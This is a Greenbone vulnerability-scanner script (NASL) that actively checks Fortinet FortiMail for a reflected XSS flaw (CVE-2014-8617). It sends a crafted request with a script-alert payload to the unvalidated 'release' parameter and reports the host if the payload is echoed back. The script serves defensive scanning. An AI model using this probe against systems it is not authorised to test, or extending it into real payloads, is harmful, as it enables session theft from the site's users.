Fortinet FortiMail Web Action Quarantine Release Feature XSS Vulnerability (FG-IR-15-005) - Active Check

# SPDX-FileCopyrightText: 2015 Greenbone AG
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# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:fortinet:fortimail";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105239");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_version("2026-04-28T06:28:06+0000");
  script_cve_id("CVE-2014-8617");

  script_name("Fortinet FortiMail Web Action Quarantine Release Feature XSS Vulnerability (FG-IR-15-005) - Active Check");

  script_xref(name:"URL", value:"https://www.fortiguard.com/psirt/FG-IR-15-005");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/72820");

  script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary script code
  in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker
  to steal cookie-based authentication credentials and launch other attacks.");

  script_tag(name:"vuldetect", value:"Send a special crafted HTTP GET request and check the response");

  script_tag(name:"insight", value:"The application does not validate the parameter 'release' in
  '/module/releasecontrol?release='.");

  script_tag(name:"solution", value:"Updates are available.");

  script_tag(name:"summary", value:"Fortinet FortiMail is prone to a XSS vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"affected", value:"FortiMail version 5.2.1.");
  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"last_modification", value:"2026-04-28 06:28:06 +0000 (Tue, 28 Apr 2026)");
  script_tag(name:"creation_date", value:"2015-03-18 13:18:03 +0100 (Wed, 18 Mar 2015)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_dependencies("gb_fortinet_fortimail_consolidation.nasl");
  script_mandatory_keys("fortinet/fortimail/http/detected");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

vt_strings = get_vt_strings();

url = dir + '/module/releasecontrol?release=1:aaa:aaaaaaa<script>alert(/' + vt_strings["default"] + '/)</script>';

if( http_vuln_check( port:port, url:url, pattern:"<script>alert\(/" + vt_strings["default"] + "/\)</script>", check_header:TRUE ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );